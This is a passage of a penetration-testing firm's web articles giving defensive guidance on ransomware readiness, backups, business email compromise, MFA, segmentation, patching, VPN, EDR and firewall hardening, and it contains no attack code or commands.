This cannot be overstated: your response plan, contact lists, and recovery procedures must exist somewhere that is not accessible from your production network. A ransomware attack that encrypts your document management system also encrypts your response plan if it is stored there. Print copies, secure USB drives, or a completely separate cloud environment with separate credentials are all viable options.

Test Your Plan with a Tabletop Exercise

A ransomware response plan that has never been tested is significantly less effective than one that has. A tabletop exercise — a structured scenario walkthrough with your response team — identifies gaps in the plan, clarifies roles and responsibilities, and builds the muscle memory that matters under pressure. Most organizations that conduct tabletop exercises find at least three significant gaps in their plan. Better to find them in a conference room than during an incident.

Combining response planning with penetration testing

Grid32's network penetration tests identify the entry points an attacker would use against your environment, giving your response plan more realistic scenarios to prepare for.

Backup Strategy for Ransomware Protection

Ransomware operators target backups first. Here is how to structure your backup strategy so that your recovery options survive an attack.

Ransomware 5 min read

Ransomware Attackers Target Backups First

Modern ransomware operators know that organizations with good backups can recover without paying. As a result, destroying or encrypting backup systems before deploying ransomware on production systems has become standard practice. In the reconnaissance phase before deployment, attackers specifically look for backup servers, NAS devices, and cloud backup credentials. If your backups are reachable from the production network, assume they will be destroyed or encrypted in a sophisticated attack.

The 3-2-1-1 Backup Rule

The traditional 3-2-1 backup rule — three copies of data, on two different media types, with one copy offsite — has been updated to the 3-2-1-1 rule for the ransomware era:

3 — Maintain at least three copies of critical data
2 — Store on two different media types (e.g., disk and cloud)
1 — Keep one copy offsite
1 — Keep one copy air-gapped or immutable — completely isolated from the production network and unable to be modified or deleted by any process accessible from production

Immutable Backup Storage

Immutable backups cannot be deleted or modified for a defined retention period, regardless of what credentials or permissions an attacker possesses. Object storage with object lock (available from AWS, Azure, and Google Cloud) and purpose-built backup appliances with immutability features provide this protection. The key requirement is that the immutable backup cannot be accessed by credentials that exist on your production network.

Test Your Backups Regularly

Untested backups fail at the worst possible time. A backup that appears to complete successfully may contain corrupted data, incomplete snapshots, or configuration errors that prevent restoration. Organizations should conduct quarterly restore tests that actually recover systems to a test environment and verify that applications and data are functional. Many organizations discover during an actual incident that their backups were silently failing for months.

Backup Isolation Validation Through Penetration Testing

Internal penetration testing can validate whether your backup systems are truly isolated from your production network. During an internal network test, Grid32 engineers specifically attempt to reach backup systems from the production environment — the same thing a ransomware operator would do. If they succeed, you have a segmentation problem that needs to be addressed before an attack occurs.

Are your backups actually isolated?

Grid32's internal network penetration tests validate backup isolation as part of the engagement — because ransomware operators will test it too.

Business Email Compromise (BEC)

BEC attacks cost businesses billions annually and do not require malware to succeed. Here is how they work and what you can do about them.

Ransomware 5 min read

What Is Business Email Compromise?

Business Email Compromise (BEC) is a category of fraud in which attackers use email — either compromised legitimate accounts or convincing impersonations — to deceive employees into making fraudulent wire transfers, sharing sensitive credentials, or redirecting payroll. BEC does not require malware and often bypasses technical security controls entirely because it exploits human trust rather than software vulnerabilities. The FBI's 2024 Internet Crime Report cited BEC as the most financially damaging cybercrime category, accounting for billions in losses annually.

How BEC Attacks Work

The most effective BEC attacks are patient and deliberate. Attackers may spend weeks monitoring a compromised email account before acting — learning communication styles, identifying key personnel, understanding upcoming transactions, and timing their attack to coincide with a legitimate business process like a real estate closing, acquisition payment, or payroll run.

CEO fraud — Impersonating the CEO or another executive to pressure an employee into an urgent wire transfer
Vendor impersonation — Pretending to be a known vendor with updated payment instructions
Account compromise — Using a legitimately compromised email account to redirect payments or collect credentials from business partners
Payroll diversion — Convincing HR to update direct deposit information to an attacker-controlled account

Why Technical Controls Alone Are Not Enough

A BEC attack conducted through a legitimately compromised account passes through email filters, anti-malware systems, and even multi-factor authentication checks for the email itself. The attack vector is trust — the recipient trusts the email because it appears to come from a legitimate source they know. Technical controls reduce risk but cannot eliminate it. Human detection ability is the last line of defense.

How Social Engineering Testing Addresses BEC

Grid32's phishing and vishing assessments include BEC-style scenarios — impersonation of executives, urgency manipulation, and pretexts designed to elicit wire transfers or credential disclosure. These tests measure your employees' ability to recognize and report suspicious requests under realistic conditions. The results directly identify which employees and which processes are most vulnerable, enabling targeted training and process improvements such as out-of-band verification requirements for wire transfers.

Test your human defenses against BEC.

Grid32's social engineering assessments include BEC-style scenarios targeting your financial and administrative staff — the people attackers specifically try to deceive.

What Is a Tabletop Exercise?

A tabletop exercise tests your incident response plan without a real incident. Here is what they involve, who should participate, and how they improve your readiness.

Ransomware 4 min read

What Is a Tabletop Exercise?

A tabletop exercise (TTX) is a structured, scenario-based discussion in which your incident response team walks through a simulated cyberattack or security incident. No systems are affected — participants sit around a table (or a conference call) and talk through how they would respond to each stage of a developing scenario. A facilitator presents injects — new developments in the scenario — that force the team to make decisions and reveal gaps in their response plan.

What a Typical Ransomware Tabletop Looks Like

A ransomware tabletop typically runs two to four hours and follows a scenario arc. The facilitator presents the initial discovery — an employee reports that files are encrypted and ransom notes are appearing on screens. From there, injects escalate the situation: the backup servers are also encrypted, a regulatory notification deadline is approaching, a journalist is calling asking for comment, the CEO wants to know whether to pay the ransom. The team works through each decision using their documented plan — revealing which parts of the plan are clear and which require clarification.

Who Should Participate

Tabletop exercises are most valuable when they include representatives from IT, security, legal, communications, finance, and executive leadership. The most common gap organizations discover is that the technical response team has a solid plan, but legal counsel, communications, and the CFO have never discussed their roles in the scenario. The exercise brings these groups together before an incident forces the conversation under pressure.

What Tabletops Reveal

Organizations consistently discover several categories of gaps in their first tabletop exercise: decision authority is unclear for key choices like ransom payment; contact information is not stored offline where it can be accessed during an incident; notification timelines are not understood; and communication templates for customers, employees, and regulators do not exist. Finding these gaps in a tabletop costs hours. Finding them during an incident costs millions.

Build the response capabilities that prevent panic during incidents.

Contact Grid32 to discuss how a penetration test and tabletop exercise can work together to improve your ransomware readiness.

Should You Pay the Ransom?

The ransom payment decision is more complex than it appears. Here is what law enforcement, security experts, and insurance carriers say — and the factors that matter most.

Ransomware 5 min read

The Official Position: Do Not Pay

The FBI, CISA, and international law enforcement agencies universally advise against paying ransomware demands. Their reasoning: payment funds criminal operations, incentivizes future attacks against your organization and others, and does not guarantee you will get working decryption tools. Data from multiple sources suggests that roughly 40% of victims who pay either receive non-functional decryption tools, experience the data released publicly anyway, or are attacked again within months by the same or affiliated groups.

The Reality: Many Organizations Pay

Despite official guidance, a significant percentage of organizations pay ransoms — particularly when they have no viable alternative and when their cyber insurance covers the payment. When your payroll system is encrypted, patient care is disrupted, or a manufacturing line is stopped, the calculus becomes different from a theoretical discussion about incentive structures. The decision is ultimately a business decision, not a purely ethical one, and it must be made quickly with imperfect information.

Legal Considerations: OFAC Compliance

Before authorizing any payment, your legal counsel must verify that the ransomware group is not on the Office of Foreign Assets Control (OFAC) sanctions list. Paying sanctioned entities — which include several major ransomware groups — is illegal regardless of whether you knew the group was sanctioned. Your cyber insurance carrier and legal counsel should be involved in this assessment before any payment is made.

Insurance Coverage

Cyber insurance policies typically cover ransom payments up to a defined limit, but carriers require prompt notification, OFAC compliance verification, and cooperation with their incident response requirements. Do not make any payment decisions without first consulting your insurance carrier — unauthorized payments can void coverage for the incident.

The Better Answer: Don't Be There

The only genuinely good answer to the ransom payment question is to never face it. Organizations that conduct annual penetration testing, maintain isolated backups, implement phishing-resistant MFA, and segment their networks are dramatically less likely to face this decision. Those that do face it are in a significantly better position because they have both better defenses to stop the attack mid-chain and better recovery options that reduce the leverage attackers have.

Prevention is better than negotiation.

Grid32 identifies the vulnerabilities ransomware operators would exploit in your environment — before they get the chance to use them.

Identity, Access & Network Hardening

The most effective cybersecurity improvements are not the most expensive. Here is practical guidance on the controls that make the biggest difference against real-world attacks.

Most successful cyberattacks exploit a small set of well-known weaknesses: missing multi-factor authentication, unpatched systems, poor network segmentation, and excessive user privileges. These are not exotic vulnerabilities requiring nation-state sophistication — they are the standard findings list of a penetration test. This guide covers the controls that matter most, how to implement them practically, and how to validate that they are working as intended.

The Controls That Prevent Most Attacks

Security frameworks like NIST CSF, CIS Controls, and ISO 27001 list hundreds of security practices. In practice, a small number of controls prevent the vast majority of attacks. Microsoft reports that enabling MFA prevents 99.9% of automated credential attacks. Network segmentation limits the blast radius of the attacks that do succeed. Patch management closes the vulnerabilities that attackers scan for daily. These are not theoretical best practices — they are the specific gaps that Grid32 engineers find when conducting penetration tests.

Identity and Access Controls

Multi-factor authentication — The single most impactful control for preventing unauthorized access
Least privilege access — Users should have only the access they need, nothing more
Vendor and third-party risk — Your vendors' security failures become your breach

Network Architecture Controls

Network segmentation — Contains the blast radius when attackers do get in
Zero trust security — The architecture model replacing perimeter-based security
VPN security — VPNs are frequently exploited; here is how to secure them
Firewall hardening — Default configurations are rarely secure

Vulnerability and Patch Management

Patch management — Unpatched systems are the most exploited attack vector
Attack surface management — You cannot protect what you do not know exists
Cybersecurity risk assessment — How to identify and prioritize your risks

Endpoint and Cloud Controls

Endpoint Detection and Response (EDR) — Why legacy antivirus is no longer sufficient
Cloud security misconfigurations — The most common cloud breaches and how to prevent them

What Is Multi-Factor Authentication (MFA)?

MFA prevents 99.9% of automated credential attacks according to Microsoft. Here is what it is, how it works, and why it belongs on every account in your organization.

Hardening 5 min read

What Is Multi-Factor Authentication?

Multi-factor authentication (MFA) requires users to verify their identity using two or more independent factors before gaining access to a system or application. The three categories of authentication factors are: something you know (a password), something you have (a phone, hardware token, or smart card), and something you are (a fingerprint or face scan). By requiring at least two of these, MFA ensures that a stolen password alone is insufficient to compromise an account.

Why Passwords Alone Are Not Enough

Passwords are consistently the weakest link in access security. Password reuse means that credentials stolen from one breach work against other services. Phishing harvests credentials directly from users. Dictionary and brute-force attacks crack weak passwords. Data breach repositories contain billions of credential pairs that attackers use for credential stuffing — trying known username/password combinations across hundreds of services simultaneously. A password that is unique and strong on one service can still be compromised if a third-party site where you used the same password is breached.

Types of MFA

SMS codes — A one-time code sent to a registered phone number. Better than no MFA, but vulnerable to SIM-swapping attacks. NYDFS specifically identifies SMS as a weak MFA method and recommends stronger alternatives.
Authenticator apps (TOTP) — Time-based one-time passwords generated by an app (Google Authenticator, Microsoft Authenticator). Stronger than SMS, not vulnerable to SIM-swapping, but still susceptible to real-time phishing attacks.
Push notifications — An app on the user's phone prompts them to approve a login. Convenient but vulnerable to MFA fatigue attacks where attackers send repeated prompts until a user approves accidentally.
FIDO2/Hardware keys — The strongest form of MFA. A physical security key (YubiKey, Google Titan) or device-bound passkey that requires physical possession and is immune to phishing and remote attacks. Required by NYDFS for privileged accounts.

Where MFA Must Be Applied

MFA should be required for every external-facing access point without exception: email (including web-based access), VPN, cloud services, remote desktop, administrative portals, and any application containing sensitive data. NYDFS Part 500 requires MFA for all users accessing any information system as of November 2025. Most cyber insurance carriers require it as a condition of coverage.

What Penetration Testing Reveals About MFA

One of the most common findings in network penetration tests is MFA that is enabled in theory but not fully enforced in practice — accounts with exemptions, legacy applications with MFA bypassed, or administrative accounts without MFA. A penetration test validates whether your MFA implementation actually works under adversarial conditions.

Is your MFA actually enforced everywhere?

Grid32's penetration tests specifically test MFA enforcement — finding the gaps attackers exploit. Schedule an engagement to validate your access controls.

How to Roll Out MFA Across Your Organization

MFA implementation fails more often from poor rollout than from technical issues. Here is how to deploy it effectively without disrupting operations.

Hardening 5 min read

Start With Privileged Accounts

The highest-risk accounts — domain administrators, cloud console administrators, and anyone with access to financial systems or sensitive data — should be your first MFA deployment targets. These accounts are targeted most aggressively by attackers and cause the most damage when compromised. A phased approach that secures high-risk accounts first delivers the majority of the security benefit before the full rollout is complete.

Phase 1: Inventory and Assessment

Before deploying, identify every application and service your organization uses that supports MFA. Most modern SaaS applications, VPNs, and cloud services support MFA natively. Identify legacy applications that do not support MFA — these require additional planning (an identity proxy, replacement, or documented exception process). Build a complete list of all accounts that need MFA and categorize them by risk level.

Phase 2: Choose Your MFA Method

Select an MFA solution appropriate for your organization's size, technical maturity, and compliance requirements. For most businesses, Microsoft Authenticator or Google Workspace's built-in MFA provides a good balance of security and usability. Organizations subject to NYDFS or other regulations requiring phishing-resistant MFA should evaluate FIDO2 hardware keys for privileged accounts. Avoid SMS-only MFA for anything sensitive.

Phase 3: Communicate Before You Deploy

MFA rollouts that fail typically fail because of user resistance, not technical problems. Users who receive a MFA prompt without warning either disable it if they can, create help desk tickets, or make unauthorized exceptions. A communication campaign that explains why MFA is being deployed, what users will experience, and who to contact for help dramatically reduces friction and resistance.

Phase 4: Deploy in Enforce Mode, Not Optional

The most common MFA implementation mistake is deploying it in an optional or per-user basis that allows bypass. Conditional access policies should enforce MFA for all users accessing defined applications, with no user-level ability to disable it. Exceptions for legitimate legacy system incompatibilities should be documented, approved by the CISO, and reviewed annually.

Phase 5: Validate with Penetration Testing

After deployment, a network penetration test validates that MFA is actually enforced everywhere it is supposed to be. Grid32 engineers specifically test MFA bypass techniques during internal engagements — including legacy protocol exploitation, token theft, and conditional access policy gaps — because these are the techniques attackers use to circumvent MFA that appears to be fully deployed.

Validate your MFA implementation is working.

Grid32 tests MFA enforcement as part of every network penetration test. Find the gaps before attackers do.

What Is Zero Trust Security?

Zero trust replaces the assumption that everything inside your network is safe. Here is what it means in plain language and what it looks like in practice.

Hardening 5 min read

The Problem with Traditional Perimeter Security

Traditional network security operated on a castle-and-moat model: build a strong perimeter, and trust everything inside it. This model assumes that threats come from outside and that users and systems inside the network are inherently trustworthy. The problem is that this assumption is consistently wrong. Phishing attacks place malicious activity inside the perimeter. Insider threats exist. Ransomware operators specifically exploit lateral movement — the ability to move freely inside a trusted network once they have initial access. The perimeter model fails precisely when it is most needed.

The Zero Trust Principle: Never Trust, Always Verify

Zero trust starts from the opposite assumption: no user, device, or application should be trusted by default, regardless of whether they are inside or outside the network perimeter. Every access request must be explicitly verified, and access should be granted only to the specific resources needed — not to the entire network. The core principles are:

Verify explicitly — Authenticate and authorize every access request, every time, using all available data points: identity, location, device health, service, and behavior
Least privilege access — Limit access to the minimum necessary for each user and system. Do not grant network access when application access suffices.
Assume breach — Design your systems as if attackers are already inside. Segment networks, encrypt data, and monitor for lateral movement.

Zero Trust in Practice

Zero trust is an architecture philosophy, not a single product. Implementing it involves a combination of controls: multi-factor authentication enforced for all access, network segmentation that limits what authenticated users can reach, conditional access policies that evaluate device health and behavior, and monitoring that can detect anomalous behavior within the trusted network. Organizations typically implement zero trust incrementally, starting with the highest-risk access scenarios.

How Penetration Testing Validates Zero Trust Implementation

Penetration testing is essential to validate that a zero trust implementation is working as designed. Grid32 engineers test zero trust controls from multiple perspectives: can an authenticated user reach systems they should not have access to? Do conditional access policies properly enforce device compliance? Can an attacker who compromises one account move laterally to others? These are the questions a penetration test answers.

Is your zero trust implementation working?

Grid32's internal network penetration tests validate whether your segmentation and access controls are actually preventing lateral movement — the core goal of zero trust.

Network Segmentation

Network segmentation contains the blast radius when attackers do get in. Here is what it is, how to implement it effectively, and why it is essential for ransomware defense.

Hardening 5 min read

What Is Network Segmentation?

Network segmentation divides a network into isolated zones where systems can communicate only with systems they need to reach. Instead of a flat network where any device can reach any other device, a segmented network forces traffic to pass through controlled checkpoints — firewalls, access control lists, or software-defined policies — that only allow explicitly authorized traffic. The result is that a compromised device can only reach a limited set of other systems, not the entire network.

Why Segmentation Matters for Ransomware Defense

Ransomware's most destructive phase is lateral movement — the process of spreading from the initial compromised device to servers, domain controllers, and backup systems. This phase is only possible when there are no effective barriers between network segments. A flat network allows a single compromised workstation to reach domain controllers, file servers, and backup systems — giving attackers everything they need to execute a maximum-impact attack. Proper segmentation forces attackers to overcome additional barriers at each stage, buying time for detection and limiting the extent of encryption if the attack reaches deployment.

Key Segmentation Zones Every Organization Should Implement

DMZ — Internet-facing systems (web servers, email gateways, VPNs) isolated from the internal network
User workstations — General employee devices, unable to reach servers directly except for required services
Server segment — Application and file servers, accessible from workstations only for required ports
Management/administrative segment — Domain controllers, security tools, and administrative systems, accessible only from dedicated management workstations
Backup segment — Backup servers and storage, isolated from production with no inbound connections from the production network
OT/IoT segment — Operational technology, building systems, and IoT devices, isolated from corporate IT

Segmentation Testing

Declared segmentation and actual segmentation are often different things. Firewall rule drift, misconfigured switches, and legacy connections created for temporary purposes can punch holes in segmentation that was believed to be solid. PCI DSS explicitly requires segmentation testing for this reason. Grid32 tests segmentation boundaries during internal network engagements — specifically attempting to cross declared zone boundaries to validate that controls are working as designed.

Is your network segmentation actually working?

Grid32 tests segmentation boundaries as part of internal network penetration tests, validating that your declared zones actually prevent lateral movement.

Least Privilege Access

Excessive user permissions are consistently among the most impactful findings in penetration tests. Here is what least privilege means and how to implement it.

Hardening 4 min read

What Is Least Privilege Access?

The principle of least privilege states that users, systems, and applications should have only the minimum access rights required to perform their legitimate function — nothing more. A marketing employee should not have access to the financial systems. A developer should not have domain administrator rights. A service account should not have the ability to read every file on every server. Excessive permissions create unnecessary risk: a compromised account with broad permissions causes far more damage than a compromised account with limited permissions.

Why Excessive Permissions Are Dangerous

In a penetration test, the difference between a low-impact finding and a critical finding is often which account was compromised. An attacker who compromises a standard user account can cause limited damage. An attacker who compromises a service account with domain administrator privileges — which happens frequently because service accounts often receive broad permissions as a shortcut — has essentially full control of the environment. The permission level is not determined by the sophistication of the attack; it is determined by what was configured on the account.

Implementing Least Privilege in Practice

Audit current permissions — Most organizations discover during an audit that users have accumulated permissions over time through role changes, project assignments, and ad-hoc requests that were never revoked
Separate privileged and non-privileged accounts — Administrators should have a standard user account for daily work and a separate privileged account used only when administrative access is required
Service account inventory — Service accounts are among the most over-privileged accounts in most environments. Audit every service account, understand what it needs, and revoke what it does not
Implement just-in-time access — Tools like Microsoft Privileged Identity Management (PIM) allow administrative privileges to be granted for a defined window rather than permanently assigned
Review access regularly — Access accumulates without a regular review cycle. Quarterly access reviews that specifically look for unnecessary permissions are essential

Find your over-privileged accounts before attackers exploit them.

Grid32's internal network tests specifically identify privilege escalation paths — including over-privileged accounts and misconfigured permissions that allow attackers to move laterally.

How to Conduct a Cybersecurity Risk Assessment

A risk assessment identifies your most important assets and biggest threats. Here is how to conduct one and how it informs your security program.

Hardening 5 min read

What Is a Cybersecurity Risk Assessment?

A cybersecurity risk assessment is a structured process for identifying the information assets your organization depends on, the threats those assets face, the vulnerabilities that could allow those threats to succeed, and the business impact if they do. The output is a prioritized understanding of your risk exposure — where you face the most significant threats and where security investment will have the most impact.

Why Risk Assessments Matter for Compliance

Most cybersecurity frameworks require a formal risk assessment. NYDFS requires it as the basis for determining the scope of annual penetration testing. HIPAA makes it a specific regulatory requirement. PCI DSS requires it as part of the overall security program. SOC 2 auditors look for evidence of a systematic risk management process. A documented risk assessment is not just good practice — it is a regulatory obligation for many organizations.

A Practical Risk Assessment Process

Asset inventory — Identify every information system, application, and data type your organization uses. You cannot assess risk for assets you do not know exist.
Threat identification — What threatens your assets? For most organizations: ransomware, phishing/BEC, insider threats, third-party compromise, and physical security.
Vulnerability assessment — What weaknesses could allow threats to succeed? This is where penetration testing provides direct input to the risk assessment.
Impact analysis — What would happen if each threat succeeded? Financial loss, regulatory penalties, operational disruption, reputational damage.
Risk prioritization — Combine likelihood and impact to prioritize which risks to address first.
Control selection and implementation — Choose controls to mitigate the highest-priority risks.

How Penetration Testing Feeds Your Risk Assessment

A penetration test provides direct, evidence-based input to the vulnerability assessment component of your risk assessment. Rather than theoretical vulnerabilities from a checklist, a penetration test documents actual, exploitable vulnerabilities with proof of exploitation — making the likelihood component of your risk calculation more accurate and defensible to auditors.

Use real findings to build your risk assessment.

Grid32's penetration test findings integrate directly into your risk assessment process — giving you evidence-based vulnerability data rather than theoretical checklists.

What Is Attack Surface Management?

You cannot protect what you do not know exists. Here is what attack surface management is and how to get a complete picture of your exposure.

Hardening 5 min read

What Is Your Attack Surface?

Your attack surface is the sum of all the points where an unauthorized user could try to enter or extract data from your environment. It includes every internet-facing system, every employee endpoint, every third-party application, every cloud service, and every person who could be targeted through social engineering. As organizations adopt more cloud services, add remote workers, and acquire other businesses, the attack surface grows — often without security teams having a complete picture of what it includes.

The Shadow IT Problem

One of the most significant attack surface management challenges is shadow IT — systems, applications, and services deployed by business units without IT knowledge or approval. A developer who spins up a cloud server for testing and forgets about it. A sales team that adopts a new SaaS tool without going through procurement. A marketing agency with access to a production system that was never revoked after the project ended. These create attack surface that security teams do not know they need to protect.

External Attack Surface Discovery

The external attack surface consists of everything accessible from the internet under your organization's ownership — IP addresses, domains, web applications, exposed services, and cloud assets. Discovering this before attackers do is the starting point of effective external security. Grid32's external network penetration tests begin with discovery — enumerating your external attack surface using the same techniques attackers use, specifically to find assets you may not know are exposed.

Continuous vs. Point-in-Time Assessment

Attack surfaces change continuously as new systems are deployed, cloud services are adopted, and infrastructure changes are made. Point-in-time assessments (like annual penetration tests) capture the state of the attack surface at a moment in time, while continuous attack surface management tools monitor for changes between tests. The best security programs combine annual manual penetration testing with continuous vulnerability monitoring to provide both depth and currency.

What does your attack surface look like from the outside?

Grid32's external network penetration tests enumerate and test your entire external attack surface — including assets you may not know are exposed.

VPN Security Best Practices

VPN appliances are among the most targeted systems in ransomware attacks. Here is how to secure yours and when to consider moving beyond VPN.

Hardening 5 min read

Why VPNs Are High-Value Targets

Virtual Private Networks are internet-facing systems that, when compromised, provide direct access to internal networks. Major VPN vendors — Fortinet, Pulse Secure/Ivanti, Citrix, SonicWall, Palo Alto — have all had critical vulnerabilities exploited at scale by ransomware groups and nation-state actors in recent years. The combination of internet exposure, privileged network access, and historically slow patch cycles makes VPN appliances a prime target. CISA maintains a list of known exploited vulnerabilities that includes numerous VPN appliance CVEs.

VPN Security Hardening Checklist

Patch aggressively — VPN patches must be treated as critical and applied on an emergency timeline, not a standard 30-day cycle. Attackers begin exploiting new VPN vulnerabilities within hours of disclosure.
Require MFA — VPN access without MFA is a single-factor authentication system. Every VPN user must authenticate with MFA. FIDO2 or certificate-based authentication provides the strongest protection.
Disable split tunneling where possible — Split tunneling allows VPN clients to route some traffic outside the tunnel, creating visibility gaps and potential bypass paths.
Restrict who can use the VPN — Not every employee needs VPN access. Limit access to users with a documented need and disable accounts immediately when employees leave.
Monitor VPN logs — Unusual VPN login patterns (off-hours access, unusual locations, repeated failed authentications) are early indicators of credential-based attacks.
Implement network access control post-VPN — VPN access should not grant blanket network access. Users should only be able to reach the systems they are authorized to use.

When to Consider Alternatives to VPN

Zero Trust Network Access (ZTNA) solutions represent the next generation of remote access technology. Rather than providing network-level access, ZTNA provides application-level access — users can only reach specific applications they are authorized to use, not the full network. This fundamentally limits the blast radius of a compromised credential compared to traditional VPN. Organizations with significant remote access requirements and mature security programs are increasingly adopting ZTNA as a replacement or complement to VPN.

Is your VPN exposure tested?

Grid32's external network penetration tests specifically assess VPN security — configuration, vulnerability status, and authentication controls.

Patch Management Best Practices

Unpatched systems are consistently the most common way attackers gain initial access. Here is how to build a patch management process that actually works.

Hardening 5 min read

Why Patching Is Still the Most Important Control

Despite decades of emphasis, unpatched vulnerabilities remain the most commonly exploited attack vector in external network compromises. The Verizon 2025 Data Breach Investigations Report found a significant rise in breaches caused by exploited vulnerabilities, particularly in perimeter devices and VPNs. CISA's Known Exploited Vulnerabilities (KEV) catalog lists over 1,000 vulnerabilities that are actively being used in real-world attacks — the vast majority of which have been patched by vendors and are only exploitable because organizations have not applied the patch.

The Patch Priority Problem

Large organizations receive thousands of vulnerability notifications monthly. Not all of them require immediate action — treating every vulnerability as critical creates patch fatigue and prevents teams from focusing on what matters. An effective patch management process prioritizes based on actual exploitation risk, not just CVSS score:

Critical priority (24-48 hours) — Internet-facing systems with vulnerabilities on CISA's KEV catalog, or with public exploits available
High priority (7 days) — Internet-facing systems with high-severity vulnerabilities, internal systems with critical vulnerabilities
Standard priority (30 days) — Internal systems with high-severity vulnerabilities, lower-risk systems
Routine (90 days) — Medium and low severity vulnerabilities in lower-risk environments

The Patch vs. Compensating Control Decision

Not every system can be patched immediately. Legacy systems, critical production environments, and systems requiring extensive testing before patching may not be patchable on the emergency timeline a critical vulnerability demands. In these cases, compensating controls — network isolation, additional monitoring, disabling specific features — can reduce risk while a patching path is developed. The key is that these decisions are documented and reviewed, not simply ignored.

Validate Your Patching with Penetration Testing

A penetration test validates whether your patching program is actually working. External penetration tests consistently find unpatched internet-facing systems — systems that IT believed were patched but were not, systems that were missed by asset management tools, or systems where patches were applied but did not successfully address the vulnerability. These findings are not criticisms; they are the intelligence needed to close real gaps before attackers find them.

Validate your patching is actually working.

Grid32's external network tests find the unpatched systems that got missed — before attackers scan for them. Our findings give you a prioritized remediation list that goes beyond what scanners see.

Vendor and Third-Party Risk Management

Supply chain attacks are among the fastest-growing threats. Your vendors' security posture directly affects your own. Here is how to manage that risk.

Hardening 5 min read

Why Third-Party Risk Is a First-Party Problem

Organizations increasingly depend on vendors, managed service providers, SaaS platforms, and contractors who have access to their systems, networks, and data. When any of these vendors is compromised, the attackers potentially have access to every customer of that vendor. The SolarWinds attack affected thousands of organizations because a trusted software update mechanism was compromised. MSP-targeting ransomware campaigns have encrypted networks of dozens of businesses simultaneously through a single compromised MSP tool. Your security posture is only as strong as the weakest link in your supply chain.

Third-Party Risk Assessment Framework

Inventory your vendors — Identify every third party with access to your systems, data, or networks. This is harder than it sounds; most organizations discover vendors during an assessment that they had forgotten about.
Classify by risk level — Tier vendors based on the access they have and the data they can reach. A SaaS tool for expense reports is lower risk than an MSP with domain administrator access.
Collect security documentation — Require SOC 2 reports, penetration test attestation letters, or completion of a security questionnaire from high-risk vendors. For critical vendors, consider independent assessment.
Contractual protections — Security requirements, breach notification timelines, right to audit, and data handling obligations should be in vendor contracts.
Limit access — Third parties should have the minimum access needed to perform their function. Broad network access for a vendor who needs to reach two servers is a liability, not a convenience.
Review regularly — Vendor relationships change. Access that was granted for a specific project should be revoked when the project ends. Annual vendor access reviews prevent accumulation of unnecessary third-party exposure.

Asking Your Vendors About Penetration Testing

For high-risk vendors, asking whether they conduct annual independent penetration testing — and requesting the attestation letter as evidence — is reasonable due diligence. Vendors who cannot demonstrate a current security testing program represent elevated risk. Organizations subject to NYDFS specifically must address third-party service provider risk as part of their cybersecurity program.

Demonstrate your own security posture to your clients.

Grid32 provides the penetration testing and attestation documentation that your clients and partners may require as part of their vendor due diligence process.

What Is Endpoint Detection and Response (EDR)?

Traditional antivirus is no longer sufficient against modern threats. Here is what EDR is, how it differs from antivirus, and why it matters.

Hardening 4 min read

Why Traditional Antivirus Is No Longer Enough

Traditional antivirus detects threats by matching files against a database of known malicious signatures. This approach was adequate when malware was relatively static and signature databases were comprehensive. Modern attacks have invalidated this model. Ransomware operators use custom malware, obfuscated code, and "living off the land" techniques — using legitimate Windows tools like PowerShell, WMI, and PsExec to conduct attacks without introducing any malicious files at all. A signature-based scanner cannot detect an attack conducted entirely with legitimate tools.

How EDR Works

Endpoint Detection and Response (EDR) takes a fundamentally different approach. Rather than looking for known malicious files, EDR monitors endpoint behavior — what processes are running, what network connections are being made, what files are being accessed, what commands are being executed — and uses behavioral analysis to identify suspicious patterns. An EDR solution can detect that a legitimate Excel process is spawning a PowerShell command that is downloading and executing code from the internet, even if the specific malware being downloaded has never been seen before.

EDR vs. Antivirus vs. XDR

Antivirus — Signature-based detection of known malware. Insufficient against modern attacks. Still necessary but not sufficient.
EDR — Behavioral detection and active response on endpoints. Provides visibility into attack techniques that antivirus misses.
XDR (Extended Detection and Response) — Extends EDR to also cover network, cloud, and identity telemetry. Provides broader visibility across the entire environment.

EDR in the Context of Penetration Testing

EDR solutions are a significant obstacle to penetration testers — which is precisely the point. Grid32 engineers test whether your EDR solution is configured to detect the techniques attackers actually use. A common finding is EDR deployed but not in blocking mode, or configured with too many exclusions that create gaps attackers can exploit. A penetration test validates whether your EDR deployment is actually providing the protection it was purchased to deliver.

Is your EDR actually detecting what it should?

Grid32 tests EDR effectiveness as part of internal network engagements — validating that your endpoint protection is working as intended, not just as configured.

Firewall Hardening Best Practices

A firewall configured with default settings provides false confidence. Here is how to harden your firewall configuration and validate it is working correctly.

Hardening 5 min read

Default Firewall Configurations Are Not Secure

Every firewall ships with default configurations designed for compatibility and ease of use, not security. Default administrative credentials, permissive outbound rules, enabled management interfaces accessible from untrusted networks, and disabled logging are common default settings that create real vulnerabilities. Many organizations deploy firewalls without reviewing defaults, and those defaults remain in place indefinitely — often discovered during a penetration test.

Firewall Ruleset Review

Firewall rulesets accumulate over time. Rules are added for specific purposes and rarely removed when that purpose ends. The result is a ruleset with years of accumulated permissions, some of which are no longer needed and some of which are actively dangerous. Key issues to look for during a firewall ruleset review:

Overly permissive rules — Rules that allow any traffic to any destination ("any/any") provide no security benefit and should be replaced with specific allow rules
Unused rules — Rules that have not passed traffic in 90+ days are candidates for removal after verification
Duplicate rules — Overlapping rules that create confusion about what is actually permitted
Management interface exposure — Firewall management interfaces should never be accessible from untrusted networks
Implicit deny — All traffic not explicitly permitted should be denied by default. Verify this is configured correctly.

Egress Filtering

Most firewalls are configured to control inbound traffic but are permissive about outbound. This is a mistake — attackers who establish a foothold inside the network use outbound connections to command-and-control servers for instructions and to exfiltrate data. Egress filtering that restricts outbound traffic to necessary services and destinations significantly limits attacker capabilities after initial compromise. Grid32 engineers specifically test egress filtering during internal penetration tests.

Validating Firewall Configuration Through Testing

The only way to know whether your firewall rules are actually enforcing the access controls you intended is to test them. Firewall rule errors, mismatched subnet masks, and rule ordering issues can all allow traffic that should be blocked. External and internal penetration testing validates firewall effectiveness from an adversarial perspective — testing not just what the rules say but what traffic actually passes.

Validate your firewall is actually blocking what it should.

Grid32 tests firewall effectiveness from both external and internal perspectives, identifying rules that allow more access than intended.

Cloud Security Misconfigurations

Cloud misconfigurations expose sensitive data and provide attacker footholds. Here are the most dangerous ones and how to find them in your environment.

Hardening 6 min read

Why Cloud Misconfigurations Are So Common

